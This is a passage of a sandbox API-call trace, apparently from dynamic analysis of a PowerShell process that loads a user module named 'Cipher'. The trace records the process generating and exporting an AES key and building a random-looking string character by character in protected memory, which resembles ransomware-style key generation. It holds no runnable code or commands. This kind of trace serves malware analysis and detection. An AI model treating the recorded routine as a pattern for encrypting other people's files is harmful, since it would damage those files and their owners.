lpNumberOfCharsWritten=0x99ae3fc*=0x77) returned 1 [0129.422] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae404 | out: lpMode=0x99ae404) returned 1 [0129.451] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3fc, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3fc*=0x2) returned 1 [0129.469] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee78*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee78*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb6, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.469] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.470] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="\x9000\x69b\x9068\x69b\x9020\x69b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xce08\x686\x92e4\x68d\x4024\x679\xd700\x686\x9400\x68d\x2eb7\x73ad\xec48\x99a\xdc98\x664\x1082\x73b6\xde1c\x664\x1082\x73b6\xbab0\x42f\x108e\x73b6\xdc98\x664\x04") returned 0x0 [0129.470] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0129.470] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeeec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeeec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.470] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.470] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.471] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0129.471] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0129.471] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.471] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb8, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.471] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.472] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x4396e78) returned 1 [0129.476] CryptGenKey (in: hProv=0x4396e78, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e84df8) returned 1 [0129.476] CryptContextAddRef (hProv=0x4396e78, pdwReserved=0x0, dwFlags=0x0) returned 1 [0129.476] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0129.476] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6a31888, pdwDataLen=0x99ae7f8 | out: pbData=0x6a31888*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0129.476] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="") returned 0x0 [0129.476] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.476] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.476] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0129.477] SysStringLen (param_1="") returned 0x8 [0129.477] SysStringLen (param_1="i") returned 0x8 [0129.477] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.477] SysStringLen (param_1="Ȝ軅댪䉕ꤟᥖ靤") returned 0x8 [0129.477] SysStringLen (param_1="Ȝ軅댪䉕ꤟᥖ靤") returned 0x8 [0129.477] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.477] SysStringLen (param_1="io") returned 0x8 [0129.477] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.477] SysStringLen (param_1="㼒ᥢ嚏濯é饝俫") returned 0x8 [0129.477] SysStringLen (param_1="㼒ᥢ嚏濯é饝俫") returned 0x8 [0129.477] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.477] SysStringLen (param_1="iov") returned 0x8 [0129.477] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.477] SysStringLen (param_1="\x9d6f\x37b0\xf24d\x7d3d\x95b4\x6bae\x332b\x6d00") returned 0x8 [0129.477] SysStringLen (param_1="\x9d6f\x37b0\xf24d\x7d3d\x95b4\x6bae\x332b\x6d00") returned 0x8 [0129.477] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.478] SysStringLen (param_1="iovg") returned 0x8 [0129.478] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.478] SysStringLen (param_1="\xcb41\x94c7\x68ce\xe1e7\x73bb\xa794\xbf82\x4736") returned 0x8 [0129.478] SysStringLen (param_1="\xcb41\x94c7\x68ce\xe1e7\x73bb\xa794\xbf82\x4736") returned 0x8 [0129.478] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.478] SysStringLen (param_1="iovg4") returned 0x8 [0129.478] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.478] SysStringLen (param_1="\x13c7\x9ca5\x436d\x4bfc\x59e6\x639f\xdc8d\xaceb") returned 0x8 [0129.478] SysStringLen (param_1="\x13c7\x9ca5\x436d\x4bfc\x59e6\x639f\xdc8d\xaceb") returned 0x8 [0129.478] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.478] SysStringLen (param_1="iovg4j") returned 0x8 [0129.478] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.478] SysStringLen (param_1="\x521f\xfafb\xb0bd\x174a\x8c63\x8849\x6911\x8504") returned 0x8 [0129.478] SysStringLen (param_1="\x521f\xfafb\xb0bd\x174a\x8c63\x8849\x6911\x8504") returned 0x8 [0129.478] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.478] SysStringLen (param_1="iovg4jO") returned 0x8 [0129.478] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.478] SysStringLen (param_1="\xf265\x2b37\x6e85\xb3d6\x147f\x6ecd\xff84\x3526") returned 0x8 [0129.478] SysStringLen (param_1="\xf265\x2b37\x6e85\xb3d6\x147f\x6ecd\xff84\x3526") returned 0x8 [0129.478] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.480] SysStringLen (param_1="iovg4jOh") returned 0x8 [0129.480] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0129.481] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c") returned 0x8 [0129.481] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c") returned 0x8 [0129.481] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c") returned 0x8 [0129.481] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c") returned 0x10 [0129.481] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.481] SysStringLen (param_1="iovg4jOhg฀뉲쀞噬꩜功") returned 0x10 [0129.481] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.481] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x9f96\x1e90\xbf0a\x4193\xa2b4\x830d\x279d\x8175") returned 0x10 [0129.481] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x9f96\x1e90\xbf0a\x4193\xa2b4\x830d\x279d\x8175") returned 0x10 [0129.481] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.481] SysStringLen (param_1="iovg4jOhg1뉲쀞噬꩜功") returned 0x10 [0129.481] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.481] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\xe0c7\x4161\x867a\xa0e0\x3ece\xf613\xf6bb\x3bfe") returned 0x10 [0129.481] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\xe0c7\x4161\x867a\xa0e0\x3ece\xf613\xf6bb\x3bfe") returned 0x10 [0129.481] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.481] SysStringLen (param_1="iovg4jOhg1Y쀞噬꩜功") returned 0x10 [0129.481] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.481] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x258a\x7756\x9f31\x7116\xb12\xd9a5\xda36\x943e") returned 0x10 [0129.481] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x258a\x7756\x9f31\x7116\xb12\xd9a5\xda36\x943e") returned 0x10 [0129.481] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.482] SysStringLen (param_1="iovg4jOhg1Yl噬꩜功") returned 0x10 [0129.482] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.482] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x1a4d\x9a14\xee1a\x5651\xa22d\x76e1\x78b\xbdba") returned 0x10 [0129.482] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x1a4d\x9a14\xee1a\x5651\xa22d\x76e1\x78b\xbdba") returned 0x10 [0129.482] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.482] SysStringLen (param_1="iovg4jOhg1YlG噬꩜功") returned 0x10 [0129.482] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.482] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x2a49\x17d8\x17f7\xe301\xb25a\x8537\x3c2b\x9eaf") returned 0x10 [0129.482] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x2a49\x17d8\x17f7\xe301\xb25a\x8537\x3c2b\x9eaf") returned 0x10 [0129.482] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.482] SysStringLen (param_1="iovg4jOhg1YlGT꩜功") returned 0x10 [0129.482] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.482] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x922e\x7d5c\x8492\x1f00\x33c9\x70e0\x47a2\x6bc6") returned 0x10 [0129.482] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x922e\x7d5c\x8492\x1f00\x33c9\x70e0\x47a2\x6bc6") returned 0x10 [0129.482] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.482] SysStringLen (param_1="iovg4jOhg1YlGTJ功") returned 0x10 [0129.482] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.482] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x649a\x9a92\xfcd7\xffcb\x23e8\x306\x791\xbc49") returned 0x10 [0129.482] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x649a\x9a92\xfcd7\xffcb\x23e8\x306\x791\xbc49") returned 0x10 [0129.482] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.482] SysStringLen (param_1="iovg4jOhg1YlGTJz") returned 0x10 [0129.482] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0129.483] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf") returned 0x10 [0129.483] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf") returned 0x10 [0129.483] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf") returned 0x10 [0129.483] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf") returned 0x18 [0129.483] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.483] SysStringLen (param_1="iovg4jOhg1YlGTJzo벃㖗紿⬲◷镬") returned 0x18 [0129.483] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.483] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x77d8\x2717\xc4bc\xf487\xa484\x7347\x4b94\x1e6c") returned 0x18 [0129.483] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x77d8\x2717\xc4bc\xf487\xa484\x7347\x4b94\x1e6c") returned 0x18 [0129.483] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.483] SysStringLen (param_1="iovg4jOhg1YlGTJzor㖗紿⬲◷镬") returned 0x18 [0129.483] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.483] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\xe079\x602\x640\x5099\x6377\x3ae2\x1fe3\xd066") returned 0x18 [0129.483] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\xe079\x602\x640\x5099\x6377\x3ae2\x1fe3\xd066") returned 0x18 [0129.483] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.483] SysStringLen (param_1="iovg4jOhg1YlGTJzorY㖗紿⬲◷镬") returned 0x18 [0129.483] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.483] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\xd0a6\xa46b\xbe9d\x8441\xbd05\x62fc\xfa8f\x405a") returned 0x18 [0129.483] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\xd0a6\xa46b\xbe9d\x8441\xbd05\x62fc\xfa8f\x405a") returned 0x18 [0129.483] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.483] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6紿⬲◷镬") returned 0x18 [0129.483] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.484] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x6d3c\x12ce\xccb2\x9078\x9d72\xbab5\x9a6b\x8ab7") returned 0x18 [0129.484] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x6d3c\x12ce\xccb2\x9078\x9d72\xbab5\x9a6b\x8ab7") returned 0x18 [0129.484] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.484] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6K⬲◷镬") returned 0x18 [0129.484] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.484] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\xfc35\xee1c\x90a2\xa88c\xc706\x2b45\x282c\xf44") returned 0x18 [0129.484] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\xfc35\xee1c\x90a2\xa88c\xc706\x2b45\x282c\xf44") returned 0x18 [0129.484] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.484] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Km◷镬") returned 0x18 [0129.484] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.484] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x12ca\x8d2e\x61a\xb33c\xcc55\x579\x824e\x55e6") returned 0x18 [0129.484] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x12ca\x8d2e\x61a\xb33c\xcc55\x579\x824e\x55e6") returned 0x18 [0129.484] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.484] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmn镬") returned 0x18 [0129.484] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.484] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\xce6b\xe5e4\x9c4e\x6bcb\x64b0\x8bda\x340e\x7dae") returned 0x18 [0129.484] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\xce6b\xe5e4\x9c4e\x6bcb\x64b0\x8bda\x340e\x7dae") returned 0x18 [0129.484] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.484] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt") returned 0x18 [0129.484] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0129.484] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60") returned 0x18 [0129.485] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60") returned 0x18 [0129.485] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60") returned 0x18 [0129.485] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60") returned 0x20 [0129.485] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.485] SysStringLen (param_1="iovg4jOhg1YlGTJzorY6Kmnt9࿉罱Ć⬜ᶳ") returned 0x20 [0129.485] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0129.485] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x9cd6\xe1f0\xe902\x6f06\x2fdf\x4e58\x6274\x7748") returned 0x20 [0129.485] SysStringLen (param_1="\x7cf\xe2a\xc13a\xc118\x31c1\x42f9\xefa7\x624c\x3132\xbca9\xaf79\x3491\xb9ff\x3fa7\x600c\xa5bf\x9377\xe613\x7c81\x7e77\xc5c6\xfb04\x6ee7\x2d60\x9cd6\xe1f0\xe902\x6f06\x2fdf\x4e58\x6274\x7748") returned 0x20 